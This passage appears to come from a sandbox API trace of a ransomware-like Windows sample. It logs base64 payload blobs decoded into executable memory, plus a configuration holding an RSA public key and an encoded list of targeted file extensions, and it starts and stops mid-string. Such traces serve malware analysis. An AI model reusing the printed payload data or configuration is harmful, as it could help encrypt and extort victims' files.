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") returned 5709 [0135.127] VirtualAlloc (lpAddress=0x0, dwSize=0x164f, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.127] CryptStringToBinaryA (in: pszString="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", cchString=0x0, dwFlags=0x1, pbBinary=0x2730000, pcbBinary=0x19f838, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x2730000, pcbBinary=0x19f838, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0135.127] lstrlenA (lpString="aeriedjD#shasj") returned 14 [0135.127] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.127] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAu